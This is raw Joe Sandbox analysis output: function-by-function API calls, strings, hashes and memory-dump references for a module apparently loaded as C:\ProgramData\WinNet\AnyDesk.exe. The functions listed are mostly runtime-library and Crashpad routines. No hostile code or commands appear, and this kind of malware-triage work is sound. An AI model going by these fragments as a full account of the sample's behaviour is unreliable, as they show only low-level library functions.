GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,69C49EA0,69C21DE7,?,69C49E40,69C21DE7,69C7B670,0000000C,69C49F88,69C21DE7,00000002), ref: 69C49F0F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 69C49F22
FreeLibrary.KERNEL32(00000000,?,?,?,69C49EA0,69C21DE7,?,69C49E40,69C21DE7,69C7B670,0000000C,69C49F88,69C21DE7,00000002,00000000), ref: 69C49F45

Strings

CorExitProcess, xrefs: 69C49F1A
mscoree.dll, xrefs: 69C49F08

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3f0ecd5c74eae5618913f3795e01e50de16c0dacd72ca5a6118244eccce71246
Instruction ID: 3d87d0d87905b3ca0ce55d8528c72e67d7a45dcef600f8baf50c6c3c85a693db
Opcode Fuzzy Hash: 3f0ecd5c74eae5618913f3795e01e50de16c0dacd72ca5a6118244eccce71246
Instruction Fuzzy Hash: AAF0C230A14628FFDF019F95DC08BADBFB8EF45B22F4040A5F809A2150EB349941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 69C545ED Relevance: 7.7, APIs: 5, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca84f8b36e0b9b58da44a63e6e6f938320fae813a15ab7562883627a08a1bb0c
Instruction ID: b3c7c5ee31a76b25e01cd0d190bcfebe335361daa9461c80494d8e57234818af
Opcode Fuzzy Hash: ca84f8b36e0b9b58da44a63e6e6f938320fae813a15ab7562883627a08a1bb0c
Instruction Fuzzy Hash: 6571F635D00296DBDB11CF55D884ABFBBB6FF423A4F144229E422A7190FB708971CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 69C4B731 Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 69C4B757
_free.LIBCMT ref: 69C4B77D
_free.LIBCMT ref: 69C4B84F
_free.LIBCMT ref: 69C4B882

Part of subcall function 69C4B8F3: HeapAlloc.KERNEL32(00000008,00000000,00000000,?,69C4FCCF,00000001,00000364,?,?,69C46175,00000000,00000000,00000000,00000000,00000000,0000010C), ref: 69C4B934

_free.LIBCMT ref: 69C4B8B8

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$AllocHeap__cftoe
String ID:
API String ID: 65443942-0
Opcode ID: 5ebc924c2332e86076350864936e9c1b66e3595a6f674e6de89cef5f83c113c2
Instruction ID: f990bdf32ceaa5bdc9a574ebe164207b7367d3780bc1e653d5241ce6ff2ae24f
Opcode Fuzzy Hash: 5ebc924c2332e86076350864936e9c1b66e3595a6f674e6de89cef5f83c113c2
Instruction Fuzzy Hash: C7512C36B04205ABDB10CFA8ED81FAD77B8BF49B64F108229E825E6281FB35D5118775

Uniqueness

Uniqueness Score: -1.00%

Function 69C4DB10 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 69C4DB82
_free.LIBCMT ref: 69C4DBA2

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ad876e0d40689751439811bd681239b75c2037bb68574cbf1202f9ac780aae20
Instruction ID: d80c71bf7828a8826a55e650290669106038e5b8c3364bebafcbe71577cc52f6
Opcode Fuzzy Hash: ad876e0d40689751439811bd681239b75c2037bb68574cbf1202f9ac780aae20
Instruction Fuzzy Hash: 7E41F036F402009FCB14DF78D981A5AB7F5EF89B14F1181AAE915EF381EB31A901CB81

Uniqueness

Uniqueness Score: -1.00%

Function 69C52171 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 69C52203
_free.LIBCMT ref: 69C5221A
_free.LIBCMT ref: 69C52239
_free.LIBCMT ref: 69C52254
_free.LIBCMT ref: 69C5226B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0fc3b217f0d6cf1ce1c0e0f5abe0857497b5959951e1aec6f056f6c4bdd8785d
Instruction ID: e5dbf113ee24d703c38c7f6268f79904a8f0ba7735af938b9152f6c07b628d67
Opcode Fuzzy Hash: 0fc3b217f0d6cf1ce1c0e0f5abe0857497b5959951e1aec6f056f6c4bdd8785d
Instruction Fuzzy Hash: 88419F356406009FEB15CF2AE851B5AB3F0FF98724B10866DD44BDA2A1F731DA62CB48

Uniqueness

Uniqueness Score: -1.00%

Function 69C66578 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 69C66D68: ReadFile.KERNEL32(00000028,00000000,0000001C,0000001C,00000000,0000001C,00000000,00000000,?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D8A
Part of subcall function 69C66D68: GetLastError.KERNEL32(?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D94
Part of subcall function 69C66D68: GetLastError.KERNEL32(?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D9F

GetLastError.KERNEL32(?,0000001C,00000000,00000000), ref: 69C665B7

Strings

read, xrefs: 69C665D4
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io.cc, xrefs: 69C665C1, 69C6660B
, observed , xrefs: 69C6661C
read: expected , xrefs: 69C66625

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$FileRead
String ID: , observed $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io.cc$read$read: expected
API String ID: 3644057887-3298404683
Opcode ID: 9bb93a4095b997ee8bc3933a25fbfab6c3ce6b0dc35c8d27fa32eeb88dd74aa2
Instruction ID: 9fe133d635cf75672a5bb0b2f6b4dbf4266113771bc13fe009e4f95d4be4dc3a
Opcode Fuzzy Hash: 9bb93a4095b997ee8bc3933a25fbfab6c3ce6b0dc35c8d27fa32eeb88dd74aa2
Instruction Fuzzy Hash: E6215B3554071435DF24EA64FEA7FAD7719EF01368F50945AFD046A0D2FF3299414464

Uniqueness

Uniqueness Score: -1.00%

Function 69C66663 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 69C66DDA: WriteFile.KERNEL32(0000001C,000000FF,69C66334,00000000,00000000,?,?,69C6668C,?,0000001C,69C66334,69C66334,000000FF,0000001C), ref: 69C66DF1

GetLastError.KERNEL32(?,000000FF,0000001C,00000001), ref: 69C666A2

Strings

write, xrefs: 69C666BF
write: expected , xrefs: 69C66710
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io.cc, xrefs: 69C666AC, 69C666F6
, observed , xrefs: 69C66707

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: , observed $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io.cc$write$write: expected
API String ID: 442123175-2204066763
Opcode ID: 4b6e522d72fcfbe9fdd9001fd0ad95922c419d9bd9e37025a32aad9f20258b55
Instruction ID: c09382b090d5002446936005d5c0cdb503b567d7c532e1d0fbd80aaec8dc0ac5
Opcode Fuzzy Hash: 4b6e522d72fcfbe9fdd9001fd0ad95922c419d9bd9e37025a32aad9f20258b55
Instruction Fuzzy Hash: C5215B395407182AEB24EA64FDA6FAD3759EF01368F509459E9052E0D2FF3299414064

Uniqueness

Uniqueness Score: -1.00%

Function 69C62974 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 69C629F9

Strings

microsoft-edge:, xrefs: 69C62991
Failed to launch Edge for uninstall survey, xrefs: 69C62A16
c:\b\build\slave\win\build\src\chrome\installer\util\google_chrome_distribution.cc, xrefs: 69C62A03
<, xrefs: 69C629A4

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast
String ID: <$Failed to launch Edge for uninstall survey$c:\b\build\slave\win\build\src\chrome\installer\util\google_chrome_distribution.cc$microsoft-edge:
API String ID: 1452528299-2957470658
Opcode ID: fc0a4aeec97170dd8bccd3f5fb9dff71773aba3212cd966dde5d928c18cc55ab
Instruction ID: c6d646ceb09cfbcd287083bd7f8afc9c9dc7fdeecf11ac667e3ea181e08999fb
Opcode Fuzzy Hash: fc0a4aeec97170dd8bccd3f5fb9dff71773aba3212cd966dde5d928c18cc55ab
Instruction Fuzzy Hash: 1821957494030C9EDB14DFA4ECA1BEEB7B8EB05308F405056D915AA1C1FB755606CB61

Uniqueness

Uniqueness Score: -1.00%

Function 69C5774E Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 69C57757
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 69C5777A

Part of subcall function 69C4C844: HeapAlloc.KERNEL32(00000000,0000010C,00000004,?,69C4C8A7,?,00000000,?,69C57B70,0000010C,00000004,?,0000010C,?,?,69C4DB9D), ref: 69C4C876

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 69C577A0
_free.LIBCMT ref: 69C577B3
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 69C577C2

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
String ID:
API String ID: 2278895681-0
Opcode ID: 8e4e59301f9f954a71003d92c81e41ade1cea1e40d7acaf1c7f171e7079cc2a5
Instruction ID: c13b4985163d2c83b96a05e1145d6e6366632531b33a3fac8bae849deecc18e8
Opcode Fuzzy Hash: 8e4e59301f9f954a71003d92c81e41ade1cea1e40d7acaf1c7f171e7079cc2a5
Instruction Fuzzy Hash: DB01B1766016657B2B12497B7C9CC7B2ABDEAC6AE03008129BD19C2210FA61CC6291B5

Uniqueness

Uniqueness Score: -1.00%

Function 69C4FC9E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,69C460F1,00000000,?,?,69C46175,00000000,00000000,00000000,00000000,00000000,0000010C,69C322CA), ref: 69C4FCA3
_free.LIBCMT ref: 69C4FCD8
_free.LIBCMT ref: 69C4FCFF
SetLastError.KERNEL32(00000000,00000000,0000010C,69C322CA), ref: 69C4FD0C
SetLastError.KERNEL32(00000000,00000000,0000010C,69C322CA), ref: 69C4FD15

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 08b746ec88f2cc767dcfd01b37ed8ba42adf5ecd25cd7f6b282c6bbe93331e31
Instruction ID: f11e7eea43045784bfd1c7baf03ccfc903831d2c7a6b171cd488a2842af861d2
Opcode Fuzzy Hash: 08b746ec88f2cc767dcfd01b37ed8ba42adf5ecd25cd7f6b282c6bbe93331e31
Instruction Fuzzy Hash: F801F93A3846516FE7125D297E44E5F223DAFC3FB97215025FC01A2281FF208806A171

Uniqueness

Uniqueness Score: -1.00%

Function 69C59D6D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 69C59D85

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

_free.LIBCMT ref: 69C59D97
_free.LIBCMT ref: 69C59DA9
_free.LIBCMT ref: 69C59DBB
_free.LIBCMT ref: 69C59DCD

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c833178f246cacef0d550a646a94e2bc2f61555b985282c7e38173d6c2afd68e
Instruction ID: bf0940333f0b2532170e5da799a519e847c78163a957ea9fecb205641815c772
Opcode Fuzzy Hash: c833178f246cacef0d550a646a94e2bc2f61555b985282c7e38173d6c2afd68e
Instruction Fuzzy Hash: 90F096725047545BEF00DB58F081C5773F9FA81B24790C846FC59EB550E731F8A58694

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F4F1 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 69C5F564: GetVersionExW.KERNEL32(0000011C), ref: 69C5F59E

Part of subcall function 69C5F711: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 69C5F744
Part of subcall function 69C5F711: CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 69C5F759
Part of subcall function 69C5F711: FreeSid.ADVAPI32(?), ref: 69C5F769

GetCurrentProcess.KERNEL32(00000008,?), ref: 69C5F50F
OpenProcessToken.ADVAPI32(00000000), ref: 69C5F516
GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),?,00000004,00000000), ref: 69C5F53A
CloseHandle.KERNEL32(?), ref: 69C5F547
CloseHandle.KERNEL32(?), ref: 69C5F553

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Token$CloseHandleProcess$AllocateCheckCurrentFreeInformationInitializeMembershipOpenVersion
String ID:
API String ID: 3927590866-0
Opcode ID: 54f257d3a3368ceb7a5c4342bb50bee0bc4e714fc8276e46f349524861c30a26
Instruction ID: ed7db9ac26be11ebd30baa199087140f87b114bcb5711b66d83c2d83eb523c76
Opcode Fuzzy Hash: 54f257d3a3368ceb7a5c4342bb50bee0bc4e714fc8276e46f349524861c30a26
Instruction Fuzzy Hash: F2F019B5900218EFDF04DFE1A909BAD7BBCAF06359F804090AA5696081E7719629FB16

Uniqueness

Uniqueness Score: -1.00%

Function 69C2F2B0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2F453
std::_Xinvalid_argument.LIBCPMT ref: 69C2F45D

Strings

string too long, xrefs: 69C2F44E, 69C2F458
invalid string position, xrefs: 69C2F43A, 69C2F444

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 934aa1f543073766f83cc338f2411068fe56e67913036ae8edbb69202f15ef77
Instruction ID: 61b8baf3bb81227ca3335b1c4d8168fb133d6810f4e2a3624a13f0f54164463b
Opcode Fuzzy Hash: 934aa1f543073766f83cc338f2411068fe56e67913036ae8edbb69202f15ef77
Instruction Fuzzy Hash: A151AC7160021D9FCB24CF69F8D085EB3A9FF887447604A2EE856CB250FB71E951DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C26750 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 172COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2684A
std::_Xinvalid_argument.LIBCPMT ref: 69C26854

Strings

string too long, xrefs: 69C26845, 69C2684F
invalid string position, xrefs: 69C2683B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 88ca931c0d353afd6c3bcd1fc43686e60308509325d1c492f5dbffbf18fc9975
Instruction ID: 5c5fe0ad0c539e4f52a7caa0980522d76e9a03004aae3fbf4b127834e051f1e1
Opcode Fuzzy Hash: 88ca931c0d353afd6c3bcd1fc43686e60308509325d1c492f5dbffbf18fc9975
Instruction Fuzzy Hash: C351D0367047149FD724CE6CF99095AB7E9FF947687104A2FE495CB250EB31E84087B1

Uniqueness

Uniqueness Score: -1.00%

Function 69C277C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2793F
std::_Xinvalid_argument.LIBCPMT ref: 69C27949

Strings

string too long, xrefs: 69C2793A, 69C27944
invalid string position, xrefs: 69C27926, 69C27930

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 2e24a158de6120b47befaffccdb227417539d0c12729c52d986d9cecd8e4777f
Instruction ID: bc01b12c92098c2dfd23724675cfbceca225e8d3d353a0ba2f16286a08ca7ecf
Opcode Fuzzy Hash: 2e24a158de6120b47befaffccdb227417539d0c12729c52d986d9cecd8e4777f
Instruction Fuzzy Hash: D951D132B002149FD724CE1CF8C0A5EB7A6FF91744B604A2AE5A5DB681F731F850DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C4D347 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\ProgramData\WinNet\AnyDesk.exe,00000104), ref: 69C4D387
_free.LIBCMT ref: 69C4D452
_free.LIBCMT ref: 69C4D45C

Strings

C:\ProgramData\WinNet\AnyDesk.exe, xrefs: 69C4D37E, 69C4D385, 69C4D3B4, 69C4D3EC

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\ProgramData\WinNet\AnyDesk.exe
API String ID: 2506810119-3295360309
Opcode ID: a437fc903e06646d58fd2a747e65bcd99371aa188e788aa49301f5e2baa2c5d5
Instruction ID: 4204d4a3b3922af1b5a02776b8c6c9303fb100e66ee71066e3e979fc64a3f5a5
Opcode Fuzzy Hash: a437fc903e06646d58fd2a747e65bcd99371aa188e788aa49301f5e2baa2c5d5
Instruction Fuzzy Hash: 3A318475B00658EFDB11EF99A980D9EBBFCEF85B14F109067E90497210E770AA41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C26910 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C26A09
std::_Xinvalid_argument.LIBCPMT ref: 69C26A13

Strings

string too long, xrefs: 69C26A04, 69C26A0E
invalid string position, xrefs: 69C269FA

